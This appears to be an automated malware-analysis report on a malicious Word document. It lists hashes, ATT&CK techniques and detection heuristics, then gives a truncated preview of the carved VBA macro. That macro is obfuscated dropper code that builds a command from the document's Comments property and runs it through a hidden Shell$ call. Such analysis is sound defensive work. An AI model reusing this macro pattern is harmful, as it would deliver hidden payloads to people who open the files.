Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4bc6d7e596083147…

MALICIOUS

Office (OLE)

67.5 KB Created: 2017-10-05 21:39:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 579702e392a78e07695353691e1e482e SHA-1: 49d8c84b9a6c560ffd9570030546e370a1ed6ce9 SHA-256: 4bc6d7e5960831476f33ac3d9f632ebae9c2a22aa975d20fffb0830b94bf3143
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'AutoOpen' macro and 'Shell()' call heuristics indicate that the macros are designed to execute arbitrary code. ClamAV detection further confirms its malicious nature as a dropper. The primary function appears to be executing a secondary payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6340106-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6340106-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4842 bytes
SHA-256: 0f8305fa306f65d8229677158c308ff8602846ec9f79604a6b78b5b0f61c6bf4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function XkpbkWEu()
TtNYTXRk = "wcAzYwTnGKA" + "TfhehxREM" + "YrhSfwvDy" + "sfxaXDCZMbK" + "WkCkXRLNExg" + vfadkvBUn = "xvbBUBNTprM" + "wnPVhys" + "bkmDunYCmNf" + "MeuxpdMUsh" + "UEFwgpThu" + rChDsNvK = "CKAZfckSEUn" + "tzwuCTV" + "hHkbDRN" + "rEZYRbM" + "UFFRNaAC" + GDfruvt = "eCkpLdKZRuT" + "UVRvShC" + "TpgULgn" + "trehGSb" + "yRkUHHfRX" + "NLdkrLGH"
uZDfmMTxHVM = "ctfHnDTECKL" + "UZAmNvW" + "FpXLZYLn" + "dfgrkYSYFVm" + "RSsZtFudtc" + LTdKuDVzFYg = "aUAzEasdLnr" + "cbXFZnYzVnk" + "vkpdfPutN" + "dSZKWuXZYE" + "vxMkTVX" + "fTdSAuFtRa"
xvEgtLMbamK = ActiveDocument.BuiltInDocumentProperties("C" + "o" + "mm" + "ents") + pMAGYAwUBb + DzGMpPs + MSUcAdgkeyw + tnepbcnY + XmChwZffcXb + zzbLXbAkF + DgLBgasZgmK + HNMZMShFK + baNTnepMH + UttXWTe + hkauWWNgARc
agRUxXr = "EBUsgCVGmdb" + "yYwCAUCvF" + "keMMsdEeV" + "gyFKVfyh" + "BzvTsRumvm" + prvKFWch = "bMLBmMc" + "ERKmFUpm" + "yVaktSpPC" + "aadFgXtEGVm" + "XWaBZHxz" + "LNZYekY"
YTBeMDBPnHP = "abNxkuuvwxa" + "MAVsgfCXC" + "puTnDkFP" + "EzhRHbE" + "SnUWAubNUrg" + YdfDGpZs = "NcWtgdtAZV" + "CmEXpESN" + "pMBVPCt" + "HtzdWegbnkb" + "WvxEwUWcfeR" + BtsvZcHzSV = "gdUhWmk" + "kpTcNnnb" + "USnGbHzTPF" + "KbTDGwrz" + "eBFyPXmK" + LakGBUWxnEx = "UHNxcXnav" + "PgUuCXrLsv" + "ewTRxMSUzzu" + "ZXxtZrCgeWu" + "mAuVmMpVd" + "yfZTmnz"
DkZCxdzfRVV = "hzWKsmZnsN" + "xecEhTN" + "ZebPEHDWW" + "EmxVMmKY" + "tCkWhbWF" + FbyGDSeUBb = "WuKRckXvGM" + "FswALCtvCPL" + "rXmpVUy" + "kTwXuPMt" + "Vddxmnkguvc" + AbKukPKmn = "TeTMkwAx" + "eASeDTkXr" + "KaUGXCfAPM" + "GGdFtuzz" + "gutbyNN" + ktMmxaS = "uYHKADY" + "gSVKgUeD" + "huxkYnHE" + "pXLwSUn" + "ZdMMMrsbY" + "sdwbRVKwTw"
bUZwdfCUhT = "asuPbBbPF" + "CVXaMKzdmmZ" + "DwaMMvda" + "XvbxhxR" + "zfhVfYt" + eHBMpsSrP = "sAbNYKEXBb" + "AZCYAfYeeb" + "DtLmnBnTmK" + "LPkewZeK" + "KwSkAVd" + "URLAukFdz"
SFKLcfCTTRe = "" + pMAGYAwUBb + DzGMpPs + MSUcAdgkeyw + tnepbcnY + XmChwZffcXb + zzbLXbAkF + DgLBgasZgmK + HNMZMShFK + baNTnepMH + UttXWTe + "po" + pMAGYAwUBb + DzGMpPs + MSUcAdgkeyw + tnepbcnY + XmChwZffcXb + zzbLXbAkF + DgLBgasZgmK + HNMZMShFK + baNTnepMH + UttXWTe + xvEgtLMbamK + pMAGYAwUBb + DzGMpPs + MSUcAdgkeyw + tnepbcnY + XmChwZffcXb + zzbLXbAkF + DgLBgasZgmK + HNMZMShFK + baNTnepMH + UttXWTe + vmGGXMdarSh
fpawWUS = "cuELCVRXpw" + "mdKGUBZsrRb" + "sKzFvXD" + "caYybABFxkz" + "gYxmMDk" + fYwzHPkvrwC = "XByXgTK" + "BRMyDzAYWe" + "KsfYhzGHwPW" + "xdXyFeacTkL" + "AWVVXyUY" + zfMZxrKzt = "nGudxfNnF" + "zbgXbbzDrf" + "ZDfTbcATv" + "gCPNRdP" + "ZvFCPvSDnRa" + TGezLfs = "bbcxwydaXnh" + "ckRBdzkhAm" + "KpdNUbVXrmv" + "YbHWUmGsECa" + "VzXmPTt" + "ecugmuN"
ttcwTXhghsu = "sBcwCrF" + "YzVxUbCbYp" + "FpFccRe" + "KHzsTtGwVGw" + "kkEnuVP" + kNxzHWP = "gFbburD" + "gPKFdgn" + "aTCSCdZmGSB" + "wtuhxVEDZ" + "CZwDLfz" + LaxAUKME = "WmgTSMu" + "dcwmHrSTk" + "FncNmdL" + "hBZBLCGCsc" + "PUsEMANw" + "vmFkbYwnbWb"
mFcUNPFtE = "fmGkkKUxWR" + "UReedBpStdM" + "LUtCbLuzzkh" + "gZffxcCPF" + "kCHyNnExdZ" + kLmTKAM = "kTbfvdb" + "ZhWgGUaKg" + "DLFtGbA" + "BrrssRHA" + "rCFbNED" + ravApHkWXP = "XBEYgRff" + "BRCugchA" + "nGNzPrFLyC" + "rXFmTWdcL" + "VRBnMzhZYum" + "NbmHYavha"
Shell$ "" + pMAGYAwUBb + DzGMpPs + MSUcAdgkeyw + tnepbcnY + XmChwZffcXb + zzbLXbAkF + DgLBgasZgmK + HNMZMShFK + baNTnepMH + UttXWTe + SFKLcfCTTRe + pMAGYAwUBb + DzGMpPs + MSUcAdgkeyw + tnepbcnY + XmChwZffcXb + zzbLXbAkF + DgLBgasZgmK + HNMZMShFK + baNTnepMH + UttXWTe + GCAVGmAcbLZ, 0
LYnvtwT = "XCkyCYWc" + "VVgPzYx" + "ZUXuHrMbTWP" + "fNfyvugLfL" + "gDRDLbEUCkL" + WUkgSaZZTVK = "HBaMaMnRBm" + "WPyKxxMhsMX" + "uzufLdzfX" + "TaWDxNsCrc" + "wnrwPzu" + nFcVbUEuL = "SXurSKnENmg" + "NxhfDPYB" + "HrrGRDc" + "DxLUVHUGx" + "rtbVbaStfaK" + xgcPMTe = "tyPwuTUFu" + "FEUppwWMtyz" + "gkWXhCDW" + "ZfRpFMD" + "wTaSsaKz" + "mtgPsPk"
xuBzCUTR = "YMDnpTXz" + "mKUwyEKyu" + "pWegKTXb" + "GdmedRKNu" + "dUmAMSrHeE" + HUCZSMvce =
... (truncated)

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